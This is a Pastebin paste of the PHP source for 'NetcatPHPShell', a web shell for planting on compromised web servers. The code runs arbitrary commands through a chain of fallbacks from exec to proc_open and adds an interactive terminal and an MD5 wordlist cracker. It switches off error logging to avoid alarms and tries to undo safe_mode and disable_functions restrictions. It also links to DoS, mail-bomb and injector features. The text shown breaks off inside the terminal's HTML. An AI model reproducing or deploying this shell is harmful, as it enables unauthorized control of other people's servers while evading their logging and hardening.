Advertisement
1337_Brain

NetcatPHPShell

Jul 14th, 2014
391
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 43.12 KB | None | 0 0
  1.    
  2.  
  3.     <?php
  4.     /*
  5.     #############################################
  6.     #                                ––•(–•- NetcatPHPShell –•–)•––                                #
  7.      
  8.     #                                      .::+ c0d3d by Mr.H4rD3n +::.                                    #
  9.      
  10.     #                            NetcatPHPShell ( Released on 11/04/12 )                     #
  11.      
  12.     #                                  Email: exploit-id@hotmail.com                                      #
  13.      
  14.     #############################################
  15.      
  16.      
  17.     */
  18.      
  19.     error_reporting(0);
  20.     ini_set('max_execution_time',0);
  21.      
  22.      
  23.     // ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
  24.      
  25.     /**************** Defines *********************************/
  26.      
  27.     $greeting = "";
  28.     $user = "root";
  29.     $pass = "islamic";
  30.     $lock = "on"; // set this to off if you dont need the login page
  31.     $antiCrawler = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life')
  32.     $tracebackFeature = "off"; // set this feature to enable email alerts
  33.     $ownerEmail = "nadimzobaer@gmail.com"; // Change this to your email , This email is used to deliver tracebacks about your shell
  34.     $url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  35.     $phpVersion=phpversion();
  36.     $self=$_SERVER["PHP_SELF"]; // Where am i
  37.     $sm = @ini_get('safe_mode');
  38.     $SEPARATOR = '/'; // Default Directory separator
  39.     $os = "N/D";
  40.      
  41.     if(stristr(php_uname(),"Windows"))
  42.     {
  43.             $SEPARATOR = '\\';
  44.             $os = "Windows";
  45.     }
  46.     else if(stristr(php_uname(),"Linux"))
  47.     {
  48.             $os = "Linux";
  49.     }
  50.      
  51.      
  52.     //*************************************************************/
  53.      
  54.     // -------------- Traceback Functions
  55.      
  56.     function sendLoginAlert()
  57.     {
  58.         global $ownerEmail;
  59.         global $url;
  60.         $accesedIp = $_SERVER['REMOTE_ADDR'];
  61.         $randomInt = rand(0,1000000);           # to avoid id blocking
  62.        $from = "ani-shell$randomInt@fbi.gov";
  63.        
  64.         //echo $from;
  65.        
  66.         if(function_exists('mail'))
  67.         {
  68.             $subject = "Shell Accessed -- Ani-Shell --";
  69.             $message = "
  70.    Hey Owner ,
  71.          
  72.            Your Shell(Ani-Shell) located at $url was accessed by $accesedIp
  73.          
  74.            If its not you :-
  75.          
  76.            1. Please check if the shell is secured.
  77.            2. Change your user name and Password.
  78.            3. Check if lock is 0n!
  79.            and Kick that ****** out!
  80.          
  81.            Thanking You
  82.          
  83.    Yours Faithfully
  84.    Ani-Shell
  85.            ";
  86.             mail($ownerEmail,$subject,$message,'From:'.$from);
  87.         }
  88.     }
  89.      
  90.     //---------------------------------------------------------
  91.      
  92.      
  93.     if(function_exists('session_start') && $lock == 'on')
  94.     {
  95.         session_start();
  96.     }
  97.     else
  98.     {
  99.         // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
  100.         $lock = 'off';
  101.     }
  102.      
  103.     //logout
  104.      
  105.     if(isset($_GET['logout']) && $lock == 'on')
  106.     {
  107.         $_SESSION['authenticated'] = 0;
  108.         session_destroy();
  109.         header("location: ".$_SERVER['PHP_SELF']);
  110.     }
  111.      
  112.     ini_set('max_execution_time',0);
  113.      
  114.      
  115.      
  116.     /***************** Restoring *******************************/
  117.      
  118.      
  119.     ini_restore("safe_mode_include_dir");
  120.     ini_restore("safe_mode_exec_dir");
  121.     ini_restore("disable_functions");
  122.     ini_restore("allow_url_fopen");
  123.     ini_restore("safe_mode");
  124.     ini_restore("open_basedir");
  125.      
  126.     if(function_exists('ini_set'))
  127.     {
  128.         ini_set('error_log',NULL);  // No alarming logs
  129.         ini_set('log_errors',0);    // No logging of errors
  130.         ini_set('file_uploads',1);  // Enable file uploads
  131.         ini_set('allow_url_fopen',1);   // allow url fopen
  132.     }
  133.      
  134.     else
  135.     {
  136.         ini_alter('error_log',NULL);
  137.         ini_alter('log_errors',0);
  138.         ini_alter('file_uploads',1);
  139.         ini_alter('allow_url_fopen',1);
  140.     }
  141.      
  142.     // ----------------------------------------------------------------------------------------------------------------
  143.      
  144.      
  145.     ?>
  146.     <html>
  147.     <head>
  148.     <title>––•(–•- NetcatPHPShell –•–)•–– | By Mr.H4rD3n | Mad In Morocco</title>
  149.      
  150.     <?php
  151.     if($antiCrawler != 'off')
  152.     {
  153.         ?>
  154.         <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
  155.         <?php
  156.     }
  157.     ?>
  158.      
  159.     <style>
  160.      
  161.     /*
  162.     ==========================    
  163.         CSS Section
  164.     ==========================
  165.     */
  166.      
  167.     *{
  168.         padding:0;
  169.         margin:0;
  170.     }
  171.      
  172.     .alert
  173.     {
  174.         background:red;
  175.         color:white;
  176.         font-weight:bold;
  177.     }
  178.     td.info
  179.     {
  180.         width:0px;
  181.     }
  182.      
  183.     .bind
  184.     {
  185.         border: 1px solid #333333;
  186.         margin: 15px auto 0;
  187.         font-size: small;
  188.     }
  189.      
  190.     div.end *
  191.     {
  192.         font-size:small;
  193.     }
  194.      
  195.     div.end
  196.     {
  197.         width:100%;
  198.         background:#529ADE;
  199.     }
  200.      
  201.     p.blink
  202.     {
  203.         text-decoration: blink;
  204.     }
  205.      
  206.     body
  207.     {
  208.         background-color:black;
  209.         color:rgb(35,182,39);
  210.         font-family:Tahoma,Verdana,Arial;
  211.         font-size: small;
  212.     }
  213.      
  214.     input.own {
  215.         background-color: Green;
  216.         color: white;
  217.         border : 1px solid #529ADE;
  218.     }
  219.      
  220.     blockquote.small
  221.     {
  222.         font-size: smaller;
  223.         color: silver;
  224.         text-align: center;
  225.     }
  226.      
  227.     table.files
  228.     {
  229.         border-spacing: 10px;
  230.         font-size: small;
  231.     }
  232.      
  233.     h1 {
  234.         padding: 4px;
  235.         padding-bottom: 0px;
  236.         margin-right : 5px;
  237.     }
  238.     div.logo
  239.     {
  240.         border-right: 1px aqua solid;
  241.     }
  242.     div.header
  243.     {
  244.         padding-left: 5px;
  245.         font-size: small;
  246.         text-align: left;
  247.     }
  248.     div.nav
  249.     {
  250.         margin-top:1px;
  251.         height:30px;
  252.         background-color: #529ADE;
  253.     }
  254.     div.nav ul
  255.     {
  256.         list-style: none;
  257.         padding: 4px;
  258.     }
  259.     div.nav li
  260.     {
  261.         float: left;
  262.         margin-right: 10px;
  263.         text-align:center;
  264.     }
  265.     textarea.cmd
  266.     {
  267.         border : 1px solid #111;
  268.         background-color : green;
  269.         font-family: Shell;
  270.         color : white;
  271.         margin-top: 10px;
  272.         font-size:small;
  273.     }
  274.      
  275.     input.cmd
  276.     {
  277.         background-color:black;
  278.         color: white;
  279.         width: 400px;
  280.         border : 1px solid #529ADE;
  281.      
  282.     }
  283.     td.maintext
  284.     {
  285.         font-size: large;
  286.     }
  287.     #margins
  288.     {
  289.         margin-left: 10px;
  290.         margin-top: 10px;
  291.         color:white;
  292.     }
  293.     table.top
  294.     {
  295.         border-bottom: 1px solid aqua;
  296.         width: 100%;
  297.     }
  298.     #borders
  299.     {
  300.         border-top : 1px solid aqua;
  301.         border-left:1px solid aqua;
  302.         border-bottom: 1px solid aqua;
  303.         border-right: 1px solid aqua;
  304.         margin-bottom:0;
  305.     }
  306.     td.file a , .file a
  307.     {
  308.         color : aqua;
  309.         text-decoration:none;
  310.     }
  311.     a.dir
  312.     {
  313.         color:white;
  314.         font-weight:bold;
  315.         text-decoration:none;
  316.     }
  317.     td.dir a
  318.     {
  319.         color : white;
  320.         text-decoration:none;
  321.     }
  322.     td.download,td.download2
  323.     {
  324.         color:green;
  325.     }
  326.     #spacing
  327.     {
  328.         padding:10px;
  329.         margin-left:200px;
  330.     }
  331.     th.header
  332.     {
  333.         background: none repeat scroll 0 0 #191919;
  334.         color: white;
  335.         border-bottom : 1px solid #333333;
  336.     }
  337.     p.warning
  338.     {
  339.         background : red;
  340.         color: white;
  341.     }
  342.      
  343.     /*
  344.      
  345.     --------------------------------CSS END------------------------------------------------------
  346.      
  347.     */
  348.     </style>
  349.     </head>
  350.      
  351.     <body text="rgb(39,245,10)" bgcolor="black" style="background-color:#000000">
  352.     <?php
  353.      
  354.     if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on')
  355.     {
  356.         if( $_POST['user'] == $user &&
  357.              $_POST['pass'] == $pass )
  358.         {
  359.                 $_SESSION['authenticated'] = 1;
  360.                 // --------------------- Tracebacks --------------------------------
  361.                 if($tracebackFeature == 'On')
  362.                 {
  363.                     sendLoginAlert();
  364.                 }
  365.                 // ------------------------------------------------------------------
  366.         }
  367.     }
  368.      
  369.     if($lock == 'off')
  370.     {?>
  371.         <p class="warning"><font color="#FF0000"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></font></p>
  372.     <?php
  373.     }
  374.      
  375.     if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) )
  376.     {
  377.      
  378.     ?>
  379.     <table height="421" width="993">
  380.         <tbody>
  381.             <tr>
  382.                 <td width="448">
  383.             <pre>
  384.     <font color="Orange">
  385.     <b>
  386.     </b></font><b><font color="#19D2FE">[]======================================[]
  387.     []-----------</font><font color="#FFFFFF">NetcatPHPShell</font><font color="#19D2FE">-------------[]
  388.     []---------------</font><font color="#CC6600">Private</font><font color="#19D2FE">----------------[]
  389.     []======================================[]
  390.     []   </font><font color="#FFFFFF">–</font><font color="#19D2FE">–</font><font color="#FF0000">•(</font><font color="#19D2FE">-• c0d3d by Mr.H4rD3n •-</font><font color="#FF0000">)•</font><font color="#19D2FE">–</font><font color="#FFFFFF">–</font><font color="#19D2FE">   []</font></b></pre>
  391.                     <pre>
  392.     <b><font color="#19D2FE">[]======================================[]
  393.     [] NetcatPHPShell Released on </font><font color="#FFFFFF">11/04/12</font><font color="#19D2FE">  []</font></b></pre>
  394.                     <pre>
  395.     <b><font color="#19D2FE">[]======================================[]
  396.     []    </font><font color="#CC6600">WeLcOmE Master Of The Server !</font><font color="#19D2FE">    []
  397.     []======================================[]</font></b></pre>
  398.                     <pre><b><font color="#19D2FE">[]           Moroccan </font><font color="#FFFFFF">Hackers</font><font color="#19D2FE">           []
  399.     []            </font><font color="#FFFFFF">Moroccan</font><font color="#19D2FE"> C0d3r            []</font></b></pre>
  400.                     <pre><b><font color="#19D2FE">[]           Moroccan </font><font color="#FFFFFF">Masters           </font><font color="#19D2FE">[]</font></b></pre>
  401.                     <pre><b><font color="#19D2FE">[]======================================[]
  402.     []            </font><font color="#CC6600">MaD </font><font color="#FFFFFF">In</font><font color="#CC6600"> </font><font color="#19D2FE">MoRoCcO            []</font></b></pre>
  403.                     <pre><b><font color="#19D2FE">[]======================================[]
  404.     []                                      []
  405.     []     </font><font color="#CC6600">Netcat</font><font color="#19D2FE"> </font><font color="#FFFFFF">PHP Connect to Server</font><font color="#19D2FE">     []</font></b></pre>
  406.                     <pre><b><font color="#19D2FE">[]                                      []
  407.     []======================================[]
  408.     []    </font><font color="#CC6600">My Groupe</font><font color="#19D2FE"> </font><font color="#FFFFFF">IsLamiC Warrior Team</font><font color="#19D2FE">    []
  409.     []======================================[]
  410.     []  </font><font color="#FF0000">  </font><font color="#CC6600">Email:</font><font color="#19D2FE"> </font><font color="#FFFFFF">exploit-id@hotmail.com</font><font color="#19D2FE">     []
  411.     [] </font><font color="#CC6600"> Facebook :</font><font color="#19D2FE"> </font><font color="#FFFFFF">Facebook.com/Mr.H4rD3n</font>   <font color="#19D2FE">[]
  412.     []</font><font color="#19D2FE">======================================[]</font><font color="grey">
  413.     </font></b><font color="grey">
  414.     </pre>
  415.                 </td>
  416.                 <td>
  417.                     <h1><?php echo $greeting;?></h1>
  418.                                     <img alt="http://img4.imageshack.us/img4/3096/piccat.gif" src="http://img4.imageshack.us/img4/3096/piccat.gif"><br /><br />
  419.                     <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
  420.                     <input name="user" value="UserNamE" style="color: #19D2FE; background-color: #000000" size="20"/>
  421.                                     <input name="pass" type="password" value="passwd" style="color: #19D2FE; background-color: #000000" size="20"/>
  422.                                     <input class="own" type="submit" value="GO TO HeLL" style="color: #42CFF9; background-color: #000000"/>
  423.                     </form>
  424.                 </td>
  425.             </tr>
  426.         </tbody>
  427.     </table>
  428.     <?php
  429.     }
  430.     //---------------------------------- We are authenticated now-------------------------------------
  431.     //Launch the shell
  432.     else
  433.     {
  434.         //---------------------------------- Fuctions ---------------------------------------------------
  435.      
  436.         function showDrives()
  437.         {
  438.             global $self;
  439.             foreach(range('A','Z') as $drive)
  440.             {
  441.                 if(is_dir($drive.':\\'))
  442.                 {
  443.                     ?>
  444.                     <a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
  445.                         <?php echo $drive.":\\" ?>
  446.                     </a>
  447.                     <?php
  448.                 }
  449.             }
  450.         }
  451.      
  452.         function HumanReadableFilesize($size)
  453.         {
  454.      
  455.             $mod = 1024;
  456.      
  457.             $units = explode(' ','B KB MB GB TB PB');
  458.             for ($i = 0; $size > $mod; $i++)
  459.             {
  460.                 $size /= $mod;
  461.             }
  462.      
  463.             return round($size, 2) . ' ' . $units[$i];
  464.         }
  465.      
  466.     function getClientIp()
  467.     {
  468.         echo $_SERVER['REMOTE_ADDR'];
  469.     }
  470.      
  471.     function getServerIp()
  472.     {
  473.         echo getenv('SERVER_ADDR');
  474.     }
  475.     function getSoftwareInfo()
  476.     {
  477.         echo php_uname();
  478.     }
  479.     function diskSpace()
  480.     {
  481.         echo HumanReadableFilesize(disk_total_space("/"));
  482.     }
  483.     function freeSpace()
  484.     {
  485.         echo HumanReadableFilesize(disk_free_space("/"));
  486.     }
  487.     function getSafeMode()
  488.     {
  489.             global $sm;
  490.                     echo($sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF");
  491.            
  492.     }
  493.      
  494.     function getDisabledFunctions()
  495.     {
  496.         if(!ini_get('disable_functions'))
  497.         {
  498.                     echo "None";
  499.         }
  500.         else
  501.         {
  502.                             echo @ini_get('disable_functions');
  503.         }
  504.     }
  505.      
  506.     function getFilePermissions($file)
  507.     {
  508.        
  509.     $perms = fileperms($file);
  510.      
  511.     if (($perms & 0xC000) == 0xC000) {
  512.         // Socket
  513.         $info = 's';
  514.     } elseif (($perms & 0xA000) == 0xA000) {
  515.         // Symbolic Link
  516.         $info = 'l';
  517.     } elseif (($perms & 0x8000) == 0x8000) {
  518.         // Regular
  519.         $info = '-';
  520.     } elseif (($perms & 0x6000) == 0x6000) {
  521.         // Block special
  522.         $info = 'b';
  523.     } elseif (($perms & 0x4000) == 0x4000) {
  524.         // Directory
  525.         $info = 'd';
  526.     } elseif (($perms & 0x2000) == 0x2000) {
  527.         // Character special
  528.         $info = 'c';
  529.     } elseif (($perms & 0x1000) == 0x1000) {
  530.         // FIFO pipe
  531.         $info = 'p';
  532.     } else {
  533.         // Unknown
  534.         $info = 'u';
  535.     }
  536.      
  537.     // Owner
  538.     $info .= (($perms & 0x0100) ? 'r' : '-');
  539.     $info .= (($perms & 0x0080) ? 'w' : '-');
  540.     $info .= (($perms & 0x0040) ?
  541.                 (($perms & 0x0800) ? 's' : 'x' ) :
  542.                 (($perms & 0x0800) ? 'S' : '-'));
  543.      
  544.     // Group
  545.     $info .= (($perms & 0x0020) ? 'r' : '-');
  546.     $info .= (($perms & 0x0010) ? 'w' : '-');
  547.     $info .= (($perms & 0x0008) ?
  548.                 (($perms & 0x0400) ? 's' : 'x' ) :
  549.                 (($perms & 0x0400) ? 'S' : '-'));
  550.      
  551.     // World
  552.     $info .= (($perms & 0x0004) ? 'r' : '-');
  553.     $info .= (($perms & 0x0002) ? 'w' : '-');
  554.     $info .= (($perms & 0x0001) ?
  555.                 (($perms & 0x0200) ? 't' : 'x' ) :
  556.                 (($perms & 0x0200) ? 'T' : '-'));
  557.      
  558.     return $info;
  559.      
  560.     }
  561.      
  562.     /***********************************************************/
  563.     // exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
  564.     // Turned OfF!
  565.     /**********************************************************/
  566.      
  567.      
  568.     function exec_all($command)
  569.     {
  570.        
  571.         $output = '';
  572.         if(function_exists('exec'))
  573.         {  
  574.             exec($command,$output);
  575.             $output = join("\n",$output);
  576.         }
  577.        
  578.         else if(function_exists('shell_exec'))
  579.         {
  580.             $output = shell_exec($command);
  581.         }
  582.        
  583.         else if(function_exists('popen'))
  584.         {
  585.             $handle = popen($command , "r"); // Open the command pipe for reading
  586.             if(is_resource($handle))
  587.             {
  588.                 if(function_exists('fread') && function_exists('feof'))
  589.                 {
  590.                     while(!feof($handle))
  591.                     {
  592.                         $output .= fread($handle, 512);
  593.                     }
  594.                 }
  595.                 else if(function_exists('fgets') && function_exists('feof'))
  596.                 {
  597.                     while(!feof($handle))
  598.                     {
  599.                         $output .= fgets($handle,512);
  600.                     }
  601.                 }
  602.             }
  603.             pclose($handle);
  604.         }
  605.        
  606.        
  607.         else if(function_exists('system'))
  608.         {
  609.             ob_start(); //start output buffering
  610.             system($command);
  611.             $output = ob_get_contents();    // Get the ouput
  612.             ob_end_clean();                 // Stop output buffering
  613.         }
  614.        
  615.         else if(function_exists('passthru'))
  616.         {
  617.             ob_start(); //start output buffering
  618.             passthru($command);
  619.             $output = ob_get_contents();    // Get the ouput
  620.             ob_end_clean();                 // Stop output buffering            
  621.         }
  622.        
  623.         else if(function_exists('proc_open'))
  624.         {
  625.             $descriptorspec = array(
  626.                     1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  627.                     );
  628.             $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  629.             if(is_resource($handle))
  630.             {
  631.                 if(function_exists('fread') && function_exists('feof'))
  632.                 {
  633.                     while(!feof($pipes[1]))
  634.                     {
  635.                         $output .= fread($pipes[1], 512);
  636.                     }
  637.                 }
  638.                 else if(function_exists('fgets') && function_exists('feof'))
  639.                 {
  640.                     while(!feof($pipes[1]))
  641.                     {
  642.                         $output .= fgets($pipes[1],512);
  643.                     }
  644.                 }
  645.             }
  646.             pclose($handle);
  647.         }
  648.         else
  649.         {
  650.             $output = "They have their Security there! :( ";
  651.         }
  652.        
  653.         return(htmlspecialchars($output));
  654.        
  655.     }
  656.     function magicQuote($text)
  657.     {
  658.         if (!get_magic_quotes_gpc())
  659.         {
  660.             return $text;
  661.         }
  662.         return stripslashes($text);
  663.     }
  664.      
  665.     function md5Crack($hash , $list)
  666.     {
  667.         $fd = fopen($list,"r");
  668.         if( strlen($hash) != 32  || $fd == FALSE)
  669.         {
  670.             // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging
  671.             return "<p class='warning'>Hash or List invalid!</p>";
  672.         }
  673.         else
  674.         {
  675.             $pwdList = fread($fd,512);
  676.            
  677.             $pwdList = explode("\n",$pwdList);
  678.            
  679.             echo "Words Checked :-<br /><br />\n";
  680.                
  681.            
  682.             foreach($pwdList as $pwd)
  683.             {
  684.                 $pwd = trim($pwd);
  685.                
  686.                 echo "<br />[*] ".$pwd;
  687.                
  688.                 if(md5($pwd) == $hash )
  689.                 {
  690.                     return "<br /><br /><br />\n<h2>Hash Cracked</h2><br /><br />\n<p class='warning'>Planintext : $pwd</p>";
  691.                 }
  692.             }
  693.                
  694.        
  695.         }
  696.     }
  697.     //------------------------------------------------------------------------------------------------
  698.      
  699.      
  700.     ?>
  701.      
  702.     <div class="nav" style="width: 1005px; height: 49px">
  703.     <ul>
  704.         <li><a href="<?php echo $self;?>"></a></li>
  705.         <li><a href="<?php echo $self.'?upload';?>"></a></li>
  706.         <li><a href="<?php echo $self.'?shell';?>"></a></li>
  707.         <li><a href="<?php echo $self.'?dos';?>"></a></li>
  708.         <li><a href="<?php echo $self.'?fuzz';?>"></a></li>
  709.         <li><a href="<?php echo $self.'?mail'?>"></a></li>
  710.         <li><a href="<?php echo $self.'?bomb'?>"></a></li>
  711.         <li><a href="<?php echo $self.'?connect'?>"></a></li>
  712.         <li><a href="<?php echo $self.'?injector'?>"></a></li>
  713.         <li><a href="<?php echo $self.'?decode'?>"></a></li>
  714.         <li><a href="<?php echo $self.'?eval'?>"></a></li>
  715.         <li><a href="<?php echo $self.'?md5'?>"></a></li>
  716.      
  717.         <?php if($lock == 'on')
  718.         {
  719.         ?>
  720.             <li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font face="Times New Roman" size="4">&nbsp;</font><font face="Times New Roman" size="5">
  721.                     </font>
  722.                     <i><font face="Verdana" size="5">
  723.                     <a href="<?php echo $self.'?logout'?>">
  724.                     <font color="#FFFFFF"><span style="text-decoration: none">I m Out!</span></font></a></font></i><font color="#FF0000"><b><i><font face="Verdana" size="5"></li></font></i><font face="Verdana" size="5"> </font>
  725.                     </b><font face="Times New Roman" size="5">
  726.         <?php
  727.         }
  728.         ?>
  729.     </font>
  730.     </font>
  731.     </ul>
  732.     </div>
  733.      
  734.     <?php
  735.     //-------------------------------- Check what he wants -------------------------------------------
  736.      
  737.     // Shell
  738.      
  739.     if(isset($_GET['shell']))
  740.     {
  741.         if(!isset($_GET['cmd']) || $_GET['cmd'] == '')
  742.         {
  743.             $result = "";    
  744.         }
  745.         else
  746.         {
  747.             $result=exec_all($_GET['cmd']);
  748.         }
  749.         ?>
  750.         <?php
  751.     }
  752.      
  753.     //Rename
  754.      
  755.     else if(isset($_GET['rename']))
  756.     {
  757.         if(isset($_GET['to']) && isset($_GET['rename']))
  758.         {
  759.             if(rename($_GET['rename'],$_GET['to']) == FALSE)
  760.             {
  761.                 ?>
  762.                 <?php
  763.             }
  764.         }
  765.         else
  766.         {
  767.     ?>
  768.         <?php
  769.         }
  770.     }
  771.      
  772.      
  773.     // No request made
  774.     // Display home page
  775.      
  776.     else
  777.     {
  778.         $dir = getcwd();
  779.         if(isset($_GET['dir']))
  780.         {
  781.             $dir = $_GET['dir'];
  782.         }
  783.         ?>
  784.            
  785.             <p>&nbsp;</p>
  786.            
  787.     <?php
  788.      
  789.     $aliases = array('la' => 'ls -la',
  790.     'll' => 'ls -lvhF',
  791.     'dir' => 'ls' );
  792.     $passwd = array('' => '');
  793.     error_reporting(0);
  794.     class phpTerm {
  795.      
  796.     function formatPrompt() {
  797.     $user=shell_exec("whoami");
  798.     $host=explode(".", shell_exec("uname -n"));
  799.     $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
  800.     }
  801.      
  802.     function checkPassword($passwd) {
  803.     if(!isset($_SERVER['PHP_AUTH_USER'])||
  804.     !isset($_SERVER['PHP_AUTH_PW']) ||
  805.     !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
  806.     $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
  807.     @session_start();
  808.     return true;
  809.     }
  810.     else {
  811.     @session_start();
  812.     return true;
  813.     }
  814.     }
  815.      
  816.     function initVars()
  817.     {
  818.     if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset']))
  819.     {
  820.     $_SESSION['cwd'] = getcwd();
  821.     $_SESSION['history'] = array();
  822.     $_SESSION['output'] = '';
  823.     $_REQUEST['command'] ='';
  824.     }
  825.     }
  826.      
  827.     function buildCommandHistory()
  828.     {
  829.     if(!empty($_REQUEST['command']))
  830.     {
  831.     if(get_magic_quotes_gpc())
  832.     {
  833.     $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  834.     }
  835.      
  836.     // drop old commands from list if exists
  837.     if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  838.     {
  839.     unset($_SESSION['history'][$i]);
  840.     }
  841.     array_unshift($_SESSION['history'], $_REQUEST['command']);
  842.      
  843.     // append commmand */
  844.     $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
  845.     }
  846.     }
  847.      
  848.     function buildJavaHistory()
  849.     {
  850.     // build command history for use in the JavaScript
  851.     if (empty($_SESSION['history']))
  852.     {
  853.     $_SESSION['js_command_hist'] = '""';
  854.     }
  855.     else
  856.     {
  857.     $escaped = array_map('addslashes', $_SESSION['history']);
  858.     $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
  859.     }
  860.     }
  861.      
  862.     function outputHandle($aliases)
  863.     {
  864.     if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command']))
  865.     {
  866.     $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
  867.     }
  868.     elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs))
  869.     {
  870.     // The current command is 'cd', which we have to handle as an internal shell command.
  871.     // absolute/relative path ?"
  872.     ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  873.      
  874.     // cosmetics
  875.     while (strpos($new_dir, '/./') !== false)
  876.     $new_dir = str_replace('/./', '/', $new_dir);
  877.     while (strpos($new_dir, '//') !== false)
  878.     $new_dir = str_replace('//', '/', $new_dir);
  879.     while (preg_match('|/\.\.(?!\.)|', $new_dir))
  880.     $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  881.      
  882.     if(empty($new_dir)): $new_dir = "/"; endif;
  883.      
  884.     (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
  885.     }
  886.     else
  887.     {
  888.     /* The command is not a 'cd' command, so we execute it after
  889.     * changing the directory and save the output. */
  890.     chdir($_SESSION['cwd']);
  891.      
  892.     /* Alias expansion. */
  893.     $length = strcspn($_REQUEST['command'], " \t");
  894.     $token = substr(@$_REQUEST['command'], 0, $length);
  895.     if (isset($aliases[$token]))
  896.     $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  897.      
  898.     $p = proc_open(@$_REQUEST['command'],
  899.     array(1 => array('pipe', 'w'),
  900.     2 => array('pipe', 'w')),
  901.     $io);
  902.      
  903.     /* Read output sent to stdout. */
  904.     while (!feof($io[1])) {
  905.     $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
  906.     }
  907.     /* Read output sent to stderr. */
  908.     while (!feof($io[2])) {
  909.     $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
  910.     }
  911.      
  912.     fclose($io[1]);
  913.     fclose($io[2]);
  914.     proc_close($p);
  915.     }
  916.     }
  917.     } // end phpTerm
  918.      
  919.     /*##########################################################
  920.     ## The main thing starts here
  921.     ## All output ist XHTML
  922.     ##########################################################*/
  923.      
  924.     $terminal=new phpTerm;
  925.      
  926.     @session_start();
  927.      
  928.     $terminal->initVars();
  929.     $terminal->buildCommandHistory();
  930.     $terminal->buildJavaHistory();
  931.     if(!isset($_SESSION['prompt'])): $terminal->formatPrompt(); endif;
  932.     $terminal->outputHandle($aliases);
  933.      
  934.     header('Content-Type: text/html; charset=UTF-8');
  935.     echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
  936.     ?>
  937.      
  938.     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  939.     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  940.     <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  941.     <head>
  942.     <title>.:: --+ NeTCaTPHPShell +-- ::.</title>
  943.      
  944.     <script type="text/javascript" language="JavaScript">
  945.     var current_line = 0;
  946.     var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
  947.     var last = 0;
  948.      
  949.     function key(e) {
  950.     if (!e) var e = window.event;
  951.      
  952.     if (e.keyCode == 38 && current_line < command_hist.length-1) {
  953.     command_hist[current_line] = document.shell.command.value;
  954.     current_line++;
  955.     document.shell.command.value = command_hist[current_line];
  956.     }
  957.      
  958.     if (e.keyCode == 40 && current_line > 0) {
  959.     command_hist[current_line] = document.shell.command.value;
  960.     current_line--;
  961.     document.shell.command.value = command_hist[current_line];
  962.     }
  963.      
  964.     }
  965.      
  966.     function init() {
  967.     document.shell.setAttribute("autocomplete", "off");
  968.     document.shell.output.scrollTop = document.shell.output.scrollHeight;
  969.     document.shell.command.focus();
  970.     }
  971.      
  972.     </script>
  973.     <style type="text/css">
  974.     body {font-family: sans-serif; color: black; background: white;}
